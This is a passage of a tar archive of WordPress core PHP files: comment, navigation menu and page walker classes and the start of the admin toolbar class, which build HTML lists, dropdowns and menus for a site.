wp_list_comments() * * @param WP_Comment $comment The comment object. * @param int $depth Depth of the current comment. * @param array $args An array of arguments. */ protected function ping( $comment, $depth, $args ) { $tag = ( 'div' === $args['style'] ) ? 'div' : 'li'; ?> <<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( '', $comment ); ?>> <div class="comment-body"> <?php _e( 'Pingback:' ); ?> <?php comment_author_link( $comment ); ?> <?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?> </div> <?php } /** * Filters the comment text. * * Removes links from the pending comment's text if the commenter did not consent * to the comment cookies. * * @since 5.4.2 * * @param string $comment_text Text of the current comment. * @param WP_Comment|null $comment The comment object. Null if not found. * @return string Filtered text of the current comment. */ public function filter_comment_text( $comment_text, $comment ) { $commenter = wp_get_current_commenter(); $show_pending_links = ! empty( $commenter['comment_author'] ); if ( $comment && '0' == $comment->comment_approved && ! $show_pending_links ) { $comment_text = wp_kses( $comment_text, array() ); } return $comment_text; } /** * Outputs a single comment. * * @since 3.6.0 * * @see wp_list_comments() * * @param WP_Comment $comment Comment to display. * @param int $depth Depth of the current comment. * @param array $args An array of arguments. */ protected function comment( $comment, $depth, $args ) { if ( 'div' === $args['style'] ) { $tag = 'div'; $add_below = 'comment'; } else { $tag = 'li'; $add_below = 'div-comment'; } $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( $commenter['comment_author_email'] ) { $moderation_note = __( 'Your comment is awaiting moderation.' ); } else { $moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' ); } ?> <<?php echo $tag; ?> <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?> id="comment-<?php comment_ID(); ?>"> <?php if ( 'div' !== $args['style'] ) : ?> <div id="div-comment-<?php comment_ID(); ?>" class="comment-body"> <?php endif; ?> <div class="comment-author vcard"> <?php if ( 0 != $args['avatar_size'] ) { echo get_avatar( $comment, $args['avatar_size'] ); } ?> <?php $comment_author = get_comment_author_link( $comment ); if ( '0' == $comment->comment_approved && ! $show_pending_links ) { $comment_author = get_comment_author( $comment ); } printf( /* translators: %s: Comment author link. */ __( '%s <span class="says">says:</span>' ), sprintf( '<cite class="fn">%s</cite>', $comment_author ) ); ?> </div> <?php if ( '0' == $comment->comment_approved ) : ?> <em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em> <br /> <?php endif; ?> <div class="comment-meta commentmetadata"> <?php printf( '<a href="%s">%s</a>', esc_url( get_comment_link( $comment, $args ) ), sprintf( /* translators: 1: Comment date, 2: Comment time. */ __( '%1$s at %2$s' ), get_comment_date( '', $comment ), get_comment_time() ) ); edit_comment_link( __( '(Edit)' ), '   ', '' ); ?> </div> <?php comment_text( $comment, array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'], ) ) ); ?> <?php comment_reply_link( array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'], 'before' => '<div class="reply">', 'after' => '</div>', ) ) ); ?> <?php if ( 'div' !== $args['style'] ) : ?> </div> <?php endif; ?> <?php } /** * Outputs a comment in the HTML5 format. * * @since 3.6.0 * * @see wp_list_comments() * * @param WP_Comment $comment Comment to display. * @param int $depth Depth of the current comment. * @param array $args An array of arguments. */ protected function html5_comment( $comment, $depth, $args ) { $tag = ( 'div' === $args['style'] ) ? 'div' : 'li'; $commenter = wp_get_current_commenter(); $show_pending_links = ! empty( $commenter['comment_author'] ); if ( $commenter['comment_author_email'] ) { $moderation_note = __( 'Your comment is awaiting moderation.' ); } else { $moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' ); } ?> <<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?>> <article id="div-comment-<?php comment_ID(); ?>" class="comment-body"> <footer class="comment-meta"> <div class="comment-author vcard"> <?php if ( 0 != $args['avatar_size'] ) { echo get_avatar( $comment, $args['avatar_size'] ); } ?> <?php $comment_author = get_comment_author_link( $comment ); if ( '0' == $comment->comment_approved && ! $show_pending_links ) { $comment_author = get_comment_author( $comment ); } printf( /* translators: %s: Comment author link. */ __( '%s <span class="says">says:</span>' ), sprintf( '<b class="fn">%s</b>', $comment_author ) ); ?> </div><!-- .comment-author --> <div class="comment-metadata"> <?php printf( '<a href="%s"><time datetime="%s">%s</time></a>', esc_url( get_comment_link( $comment, $args ) ), get_comment_time( 'c' ), sprintf( /* translators: 1: Comment date, 2: Comment time. */ __( '%1$s at %2$s' ), get_comment_date( '', $comment ), get_comment_time() ) ); edit_comment_link( __( 'Edit' ), ' <span class="edit-link">', '</span>' ); ?> </div><!-- .comment-metadata --> <?php if ( '0' == $comment->comment_approved ) : ?> <em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em> <?php endif; ?> </footer><!-- .comment-meta --> <div class="comment-content"> <?php comment_text(); ?> </div><!-- .comment-content --> <?php if ( '1' == $comment->comment_approved || $show_pending_links ) { comment_reply_link( array_merge( $args, array( 'add_below' => 'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth'], 'before' => '<div class="reply">', 'after' => '</div>', ) ) ); } ?> </article><!-- .comment-body --> <?php } } �������������������������������������������������������������������������������������������class-walker-nav-menu.php���������������������������������������������������������������������������0000644�����������������00000020705�15120262030�0011364 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Nav Menu API: Walker_Nav_Menu class * * @package WordPress * @subpackage Nav_Menus * @since 4.6.0 */ /** * Core class used to implement an HTML list of nav menu items. * * @since 3.0.0 * * @see Walker */ class Walker_Nav_Menu extends Walker { /** * What the class handles. * * @since 3.0.0 * @var string * * @see Walker::$tree_type */ public $tree_type = array( 'post_type', 'taxonomy', 'custom' ); /** * Database fields to use. * * @since 3.0.0 * @todo Decouple this. * @var array * * @see Walker::$db_fields */ public $db_fields = array( 'parent' => 'menu_item_parent', 'id' => 'db_id', ); /** * Starts the list before the elements are added. * * @since 3.0.0 * * @see Walker::start_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function start_lvl( &$output, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); // Default class. $classes = array( 'sub-menu' ); /** * Filters the CSS class(es) applied to a menu list element. * * @since 4.8.0 * * @param string[] $classes Array of the CSS classes that are applied to the menu `<ul>` element. * @param stdClass $args An object of `wp_nav_menu()` arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) ); $class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : ''; $output .= "{$n}{$indent}<ul$class_names>{$n}"; } /** * Ends the list of after the elements are added. * * @since 3.0.0 * * @see Walker::end_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_lvl( &$output, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); $output .= "$indent</ul>{$n}"; } /** * Starts the element output. * * @since 3.0.0 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added. * * @see Walker::start_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $id Current item ID. */ public function start_el( &$output, $item, $depth = 0, $args = null, $id = 0 ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = ( $depth ) ? str_repeat( $t, $depth ) : ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $classes[] = 'menu-item-' . $item->ID; /** * Filters the arguments for a single nav menu item. * * @since 4.4.0 * * @param stdClass $args An object of wp_nav_menu() arguments. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. */ $args = apply_filters( 'nav_menu_item_args', $args, $item, $depth ); /** * Filters the CSS classes applied to a menu item's list item element. * * @since 3.0.0 * @since 4.1.0 The `$depth` parameter was added. * * @param string[] $classes Array of the CSS classes that are applied to the menu item's `<li>` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) ); $class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : ''; /** * Filters the ID applied to a menu item's list item element. * * @since 3.0.1 * @since 4.1.0 The `$depth` parameter was added. * * @param string $menu_id The ID that is applied to the menu item's `<li>` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args, $depth ); $id = $id ? ' id="' . esc_attr( $id ) . '"' : ''; $output .= $indent . '<li' . $id . $class_names . '>'; $atts = array(); $atts['title'] = ! empty( $item->attr_title ) ? $item->attr_title : ''; $atts['target'] = ! empty( $item->target ) ? $item->target : ''; if ( '_blank' === $item->target && empty( $item->xfn ) ) { $atts['rel'] = 'noopener'; } else { $atts['rel'] = $item->xfn; } $atts['href'] = ! empty( $item->url ) ? $item->url : ''; $atts['aria-current'] = $item->current ? 'page' : ''; /** * Filters the HTML attributes applied to a menu item's anchor element. * * @since 3.6.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $atts { * The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored. * * @type string $title Title attribute. * @type string $target Target attribute. * @type string $rel The rel attribute. * @type string $href The href attribute. * @type string $aria_current The aria-current attribute. * } * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( is_scalar( $value ) && '' !== $value && false !== $value ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $item->title, $item->ID ); /** * Filters a menu item's title. * * @since 4.4.0 * * @param string $title The menu item's title. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $title = apply_filters( 'nav_menu_item_title', $title, $item, $args, $depth ); $item_output = $args->before; $item_output .= '<a' . $attributes . '>'; $item_output .= $args->link_before . $title . $args->link_after; $item_output .= '</a>'; $item_output .= $args->after; /** * Filters a menu item's starting output. * * The menu item's starting output only includes `$args->before`, the opening `<a>`, * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is * no filter for modifying the opening and closing `<li>` for a menu item. * * @since 3.0.0 * * @param string $item_output The menu item's starting HTML output. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } /** * Ends the element output, if needed. * * @since 3.0.0 * * @see Walker::end_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $item Page data object. Not used. * @param int $depth Depth of page. Not Used. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_el( &$output, $item, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $output .= "</li>{$n}"; } } �����������������������������������������������������������class-walker-page-dropdown.php����������������������������������������������������������������������0000644�����������������00000004373�15120262030�0012407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Post API: Walker_PageDropdown class * * @package WordPress * @subpackage Post * @since 4.4.0 */ /** * Core class used to create an HTML drop-down list of pages. * * @since 2.1.0 * * @see Walker */ class Walker_PageDropdown extends Walker { /** * What the class handles. * * @since 2.1.0 * @var string * * @see Walker::$tree_type */ public $tree_type = 'page'; /** * Database fields to use. * * @since 2.1.0 * @var array * * @see Walker::$db_fields * @todo Decouple this */ public $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID', ); /** * Starts the element output. * * @since 2.1.0 * * @see Walker::start_el() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $page Page data object. * @param int $depth Optional. Depth of page in reference to parent pages. Used for padding. * Default 0. * @param array $args Optional. Uses 'selected' argument for selected page to set selected HTML * attribute for option element. Uses 'value_field' argument to fill "value" * attribute. See wp_dropdown_pages(). Default empty array. * @param int $id Optional. ID of the current page. Default 0 (unused). */ public function start_el( &$output, $page, $depth = 0, $args = array(), $id = 0 ) { $pad = str_repeat( ' ', $depth * 3 ); if ( ! isset( $args['value_field'] ) || ! isset( $page->{$args['value_field']} ) ) { $args['value_field'] = 'ID'; } $output .= "\t<option class=\"level-$depth\" value=\"" . esc_attr( $page->{$args['value_field']} ) . '"'; if ( $page->ID == $args['selected'] ) { $output .= ' selected="selected"'; } $output .= '>'; $title = $page->post_title; if ( '' === $title ) { /* translators: %d: ID of a post. */ $title = sprintf( __( '#%d (no title)' ), $page->ID ); } /** * Filters the page title when creating an HTML drop-down list of pages. * * @since 3.1.0 * * @param string $title Page title. * @param WP_Post $page Page data object. */ $title = apply_filters( 'list_pages', $title, $page ); $output .= $pad . esc_html( $title ); $output .= "</option>\n"; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-walker-page.php�������������������������������������������������������������������������������0000644�����������������00000015603�15120262030�0010553 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Post API: Walker_Page class * * @package WordPress * @subpackage Template * @since 4.4.0 */ /** * Core walker class used to create an HTML list of pages. * * @since 2.1.0 * * @see Walker */ class Walker_Page extends Walker { /** * What the class handles. * * @since 2.1.0 * @var string * * @see Walker::$tree_type */ public $tree_type = 'page'; /** * Database fields to use. * * @since 2.1.0 * @var array * * @see Walker::$db_fields * @todo Decouple this. */ public $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID', ); /** * Outputs the beginning of the current level in the tree before elements are output. * * @since 2.1.0 * * @see Walker::start_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Arguments for outputting the next level. * Default empty array. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } $indent = str_repeat( $t, $depth ); $output .= "{$n}{$indent}<ul class='children'>{$n}"; } /** * Outputs the end of the current level in the tree after elements are output. * * @since 2.1.0 * * @see Walker::end_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Arguments for outputting the end of the current level. * Default empty array. */ public function end_lvl( &$output, $depth = 0, $args = array() ) { if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } $indent = str_repeat( $t, $depth ); $output .= "{$indent}</ul>{$n}"; } /** * Outputs the beginning of the current element in the tree. * * @see Walker::start_el() * @since 2.1.0 * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $page Page data object. * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Array of arguments. Default empty array. * @param int $current_page Optional. Page ID. Default 0. */ public function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) { if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } if ( $depth ) { $indent = str_repeat( $t, $depth ); } else { $indent = ''; } $css_class = array( 'page_item', 'page-item-' . $page->ID ); if ( isset( $args['pages_with_children'][ $page->ID ] ) ) { $css_class[] = 'page_item_has_children'; } if ( ! empty( $current_page ) ) { $_current_page = get_post( $current_page ); if ( $_current_page && in_array( $page->ID, $_current_page->ancestors, true ) ) { $css_class[] = 'current_page_ancestor'; } if ( $page->ID == $current_page ) { $css_class[] = 'current_page_item'; } elseif ( $_current_page && $page->ID === $_current_page->post_parent ) { $css_class[] = 'current_page_parent'; } } elseif ( get_option( 'page_for_posts' ) == $page->ID ) { $css_class[] = 'current_page_parent'; } /** * Filters the list of CSS classes to include with each page item in the list. * * @since 2.8.0 * * @see wp_list_pages() * * @param string[] $css_class An array of CSS classes to be applied to each list item. * @param WP_Post $page Page data object. * @param int $depth Depth of page, used for padding. * @param array $args An array of arguments. * @param int $current_page ID of the current page. */ $css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) ); $css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : ''; if ( '' === $page->post_title ) { /* translators: %d: ID of a post. */ $page->post_title = sprintf( __( '#%d (no title)' ), $page->ID ); } $args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before']; $args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after']; $atts = array(); $atts['href'] = get_permalink( $page->ID ); $atts['aria-current'] = ( $page->ID == $current_page ) ? 'page' : ''; /** * Filters the HTML attributes applied to a page menu item's anchor element. * * @since 4.8.0 * * @param array $atts { * The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored. * * @type string $href The href attribute. * @type string $aria_current The aria-current attribute. * } * @param WP_Post $page Page data object. * @param int $depth Depth of page, used for padding. * @param array $args An array of arguments. * @param int $current_page ID of the current page. */ $atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( is_scalar( $value ) && '' !== $value && false !== $value ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } $output .= $indent . sprintf( '<li%s><a%s>%s%s%s</a>', $css_classes, $attributes, $args['link_before'], /** This filter is documented in wp-includes/post-template.php */ apply_filters( 'the_title', $page->post_title, $page->ID ), $args['link_after'] ); if ( ! empty( $args['show_date'] ) ) { if ( 'modified' === $args['show_date'] ) { $time = $page->post_modified; } else { $time = $page->post_date; } $date_format = empty( $args['date_format'] ) ? '' : $args['date_format']; $output .= ' ' . mysql2date( $date_format, $time ); } } /** * Outputs the end of the current element in the tree. * * @since 2.1.0 * * @see Walker::end_el() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $page Page data object. Not used. * @param int $depth Optional. Depth of page. Default 0 (unused). * @param array $args Optional. Array of arguments. Default empty array. */ public function end_el( &$output, $page, $depth = 0, $args = array() ) { if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } $output .= "</li>{$n}"; } } �����������������������������������������������������������������������������������������������������������������������������class-wp-admin-bar.php������������������������������������������������������������������������������0000644�����������������00000041141�15120262030�0010626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Toolbar API: WP_Admin_Bar class * * @package WordPress * @subpackage Toolbar * @since 3.1.0 */ /** * Core class used to implement the Toolbar API. * * @since 3.1.0 */ class WP_Admin_Bar { private $nodes = array(); private $bound = false; public $user; /** * @param string $name * @return string|array|void */ public function __get( $name ) { switch ( $name ) { case 'proto': return is_ssl() ? 'https://' : 'http://'; case 'menu': _deprecated_argument( 'WP_Admin_Bar', '3.3.0', 'Modify admin bar nodes with WP_Admin_Bar::get_node(), WP_Admin_Bar::add_node(), and WP_Admin_Bar::remove_node(), not the <code>menu</code> property.' ); return array(); // Sorry, folks. } } /** */ public function initialize() { $this->user = new stdClass; if ( is_user_logged_in() ) { /* Populate settings we need for the menu based on the current user. */ $this->user->blogs = get_blogs_of_user( get_current_user_id() ); if ( is_multisite() ) { $this->user->active_blog = get_active_blog_for_user( get_current_user_id() ); $this->user->domain = empty( $this->user->active_blog ) ? user_admin_url() : trailingslashit( get_home_url( $this->user->active_blog->blog_id ) ); $this->user->account_domain = $this->user->domain; } else { $this->user->active_blog = $this->user->blogs[ get_current_blog_id() ]; $this->user->domain = trailingslashit( home_url() ); $this->user->account_domain = $this->user->domain; } } add_action( 'wp_head', 'wp_admin_bar_header' ); add_action( 'admin_head', 'wp_admin_bar_header' ); if ( current_theme_supports( 'admin-bar' ) ) { /** * To remove the default padding styles from WordPress for the Toolbar, use the following code: * add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) ); */ $admin_bar_args = get_theme_support( 'admin-bar' ); $header_callback = $admin_bar_args[0]['callback']; } if ( empty( $header_callback ) ) { $header_callback = '_admin_bar_bump_cb'; } add_action( 'wp_head', $header_callback ); wp_enqueue_script( 'admin-bar' ); wp_enqueue_style( 'admin-bar' ); /** * Fires after WP_Admin_Bar is initialized. * * @since 3.1.0 */ do_action( 'admin_bar_init' ); } /** * Add a node (menu item) to the Admin Bar menu. * * @since 3.3.0 * * @param array $node The attributes that define the node. */ public function add_menu( $node ) { $this->add_node( $node ); } /** * Remove a node from the admin bar. * * @since 3.1.0 * * @param string $id The menu slug to remove. */ public function remove_menu( $id ) { $this->remove_node( $id ); } /** * Adds a node to the menu. * * @since 3.1.0 * @since 4.5.0 Added the ability to pass 'lang' and 'dir' meta data. * * @param array $args { * Arguments for adding a node. * * @type string $id ID of the item. * @type string $title Title of the node. * @type string $parent Optional. ID of the parent node. * @type string $href Optional. Link for the item. * @type bool $group Optional. Whether or not the node is a group. Default false. * @type array $meta Meta data including the following keys: 'html', 'class', 'rel', 'lang', 'dir', * 'onclick', 'target', 'title', 'tabindex'. Default empty. * } */ public function add_node( $args ) { // Shim for old method signature: add_node( $parent_id, $menu_obj, $args ). if ( func_num_args() >= 3 && is_string( $args ) ) { $args = array_merge( array( 'parent' => $args ), func_get_arg( 2 ) ); } if ( is_object( $args ) ) { $args = get_object_vars( $args ); } // Ensure we have a valid title. if ( empty( $args['id'] ) ) { if ( empty( $args['title'] ) ) { return; } _doing_it_wrong( __METHOD__, __( 'The menu ID should not be empty.' ), '3.3.0' ); // Deprecated: Generate an ID from the title. $args['id'] = esc_attr( sanitize_title( trim( $args['title'] ) ) ); } $defaults = array( 'id' => false, 'title' => false, 'parent' => false, 'href' => false, 'group' => false, 'meta' => array(), ); // If the node already exists, keep any data that isn't provided. $maybe_defaults = $this->get_node( $args['id'] ); if ( $maybe_defaults ) { $defaults = get_object_vars( $maybe_defaults ); } // Do the same for 'meta' items. if ( ! empty( $defaults['meta'] ) && ! empty( $args['meta'] ) ) { $args['meta'] = wp_parse_args( $args['meta'], $defaults['meta'] ); } $args = wp_parse_args( $args, $defaults ); $back_compat_parents = array( 'my-account-with-avatar' => array( 'my-account', '3.3' ), 'my-blogs' => array( 'my-sites', '3.3' ), ); if ( isset( $back_compat_parents[ $args['parent'] ] ) ) { list( $new_parent, $version ) = $back_compat_parents[ $args['parent'] ]; _deprecated_argument( __METHOD__, $version, sprintf( 'Use <code>%s</code> as the parent for the <code>%s</code> admin bar node instead of <code>%s</code>.', $new_parent, $args['id'], $args['parent'] ) ); $args['parent'] = $new_parent; } $this->_set_node( $args ); } /** * @param array $args */ final protected function _set_node( $args ) { $this->nodes[ $args['id'] ] = (object) $args; } /** * Gets a node. * * @param string $id * @return object|void Node. */ final public function get_node( $id ) { $node = $this->_get_node( $id ); if ( $node ) { return clone $node; } } /** * @param string $id * @return object|void */ final protected function _get_node( $id ) { if ( $this->bound ) { return; } if ( empty( $id ) ) { $id = 'root'; } if ( isset( $this->nodes[ $id ] ) ) { return $this->nodes[ $id ]; } } /** * @return array|void */ final public function get_nodes() { $nodes = $this->_get_nodes(); if ( ! $nodes ) { return; } foreach ( $nodes as &$node ) { $node = clone $node; } return $nodes; } /** * @return array|void */ final protected function _get_nodes() { if ( $this->bound ) { return; } return $this->nodes; } /** * Add a group to a toolbar menu node. * * Groups can be used to organize toolbar items into distinct sections of a toolbar menu. * * @since 3.3.0 * * @param array $args { * Array of arguments for adding a group. * * @type string $id ID of the item. * @type string $parent Optional. ID of the parent node. Default 'root'. * @type array $meta Meta data for the group including the following keys: * 'class', 'onclick', 'target', and 'title'. * } */ final public function add_group( $args ) { $args['group'] = true; $this->add_node( $args ); } /** * Remove a node. * * @param string $id The ID of the item. */ public function remove_node( $id ) { $this->_unset_node( $id ); } /** * @param string $id */ final protected function _unset_node( $id ) { unset( $this->nodes[ $id ] ); } /** */ public function render() { $root = $this->_bind(); if ( $root ) { $this->_render( $root ); } } /** * @return object|void */ final protected function _bind() { if ( $this->bound ) { return; } // Add the root node. // Clear it first, just in case. Don't mess with The Root. $this->remove_node( 'root' ); $this->add_node( array( 'id' => 'root', 'group' => false, ) ); // Normalize nodes: define internal 'children' and 'type' properties. foreach ( $this->_get_nodes() as $node ) { $node->children = array(); $node->type = ( $node->group ) ? 'group' : 'item'; unset( $node->group ); // The Root wants your orphans. No lonely items allowed. if ( ! $node->parent ) { $node->parent = 'root'; } } foreach ( $this->_get_nodes() as $node ) { if ( 'root' === $node->id ) { continue; } // Fetch the parent node. If it isn't registered, ignore the node. $parent = $this->_get_node( $node->parent ); if ( ! $parent ) { continue; } // Generate the group class (we distinguish between top level and other level groups). $group_class = ( 'root' === $node->parent ) ? 'ab-top-menu' : 'ab-submenu'; if ( 'group' === $node->type ) { if ( empty( $node->meta['class'] ) ) { $node->meta['class'] = $group_class; } else { $node->meta['class'] .= ' ' . $group_class; } } // Items in items aren't allowed. Wrap nested items in 'default' groups. if ( 'item' === $parent->type && 'item' === $node->type ) { $default_id = $parent->id . '-default'; $default = $this->_get_node( $default_id ); // The default group is added here to allow groups that are // added before standard menu items to render first. if ( ! $default ) { // Use _set_node because add_node can be overloaded. // Make sure to specify default settings for all properties. $this->_set_node( array( 'id' => $default_id, 'parent' => $parent->id, 'type' => 'group', 'children' => array(), 'meta' => array( 'class' => $group_class, ), 'title' => false, 'href' => false, ) ); $default = $this->_get_node( $default_id ); $parent->children[] = $default; } $parent = $default; // Groups in groups aren't allowed. Add a special 'container' node. // The container will invisibly wrap both groups. } elseif ( 'group' === $parent->type && 'group' === $node->type ) { $container_id = $parent->id . '-container'; $container = $this->_get_node( $container_id ); // We need to create a container for this group, life is sad. if ( ! $container ) { // Use _set_node because add_node can be overloaded. // Make sure to specify default settings for all properties. $this->_set_node( array( 'id' => $container_id, 'type' => 'container', 'children' => array( $parent ), 'parent' => false, 'title' => false, 'href' => false, 'meta' => array(), ) ); $container = $this->_get_node( $container_id ); // Link the container node if a grandparent node exists. $grandparent = $this->_get_node( $parent->parent ); if ( $grandparent ) { $container->parent = $grandparent->id; $index = array_search( $parent, $grandparent->children, true ); if ( false === $index ) { $grandparent->children[] = $container; } else { array_splice( $grandparent->children, $index, 1, array( $container ) ); } } $parent->parent = $container->id; } $parent = $container; } // Update the parent ID (it might have changed). $node->parent = $parent->id; // Add the node to the tree. $parent->children[] = $node; } $root = $this->_get_node( 'root' ); $this->bound = true; return $root; } /** * @param object $root */ final protected function _render( $root ) { // Add browser classes. // We have to do this here since admin bar shows on the front end. $class = 'nojq nojs'; if ( wp_is_mobile() ) { $class .= ' mobile'; } ?> <div id="wpadminbar" class="<?php echo $class; ?>"> <?php if ( ! is_admin() && ! did_action( 'wp_body_open' ) ) { ?> <a class="screen-reader-shortcut" href="#wp-toolbar" tabindex="1"><?php _e( 'Skip to toolbar' ); ?></a> <?php } ?> <div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="<?php esc_attr_e( 'Toolbar' ); ?>"> <?php foreach ( $root->children as $group ) { $this->_render_group( $group ); } ?> </div> <?php if ( is_user_logged_in() ) : ?> <a class="screen-reader-shortcut" href="<?php echo esc_url( wp_logout_url() ); ?>"><?php _e( 'Log Out' ); ?></a> <?php endif; ?> </div> <?php } /** * @param object $node */ final protected function _render_container( $node ) { if ( 'container' !== $node->type || empty( $node->children ) ) { return; } echo '<div id="' . esc_attr( 'wp-admin-bar-' . $node->id ) . '" class="ab-group-container">'; foreach ( $node->children as $group ) { $this->_render_group( $group ); } echo '</div>'; } /** * @param object $node */ final protected function _render_group( $node ) { if ( 'container' === $node->type ) { $this->_render_container( $node ); return; } if ( 'group' !== $node->type || empty( $node->children ) ) { return; } if ( ! empty( $node->meta['class'] ) ) { $class = ' class="' . esc_attr( trim( $node->meta['class'] ) ) . '"'; } else { $class = ''; } echo "<ul id='" . esc_attr( 'wp-admin-bar-' . $node->id ) . "'$class>"; foreach ( $node->children as $item ) { $this->_render_item( $item ); } echo '</ul>'; } /** * @param object $node */ final protected function _render_item( $node ) { if ( 'item' !== $node->type ) { return; } $is_parent = ! empty( $node->children ); $has_link = ! empty( $node->href ); $is_root_top_item = 'root-default' === $node->parent; $is_top_secondary_item = 'top-secondary' === $node->parent; // Allow only numeric values, then casted to integers, and allow a tabindex value of `0` for a11y. $tabindex = ( isset( $node->meta['tabindex'] ) && is_numeric( $node->meta['tabindex'] ) ) ? (int) $node->meta['tabindex'] : ''; $aria_attributes = ( '' !== $tabindex ) ? ' tabindex="' . $tabindex . '"' : 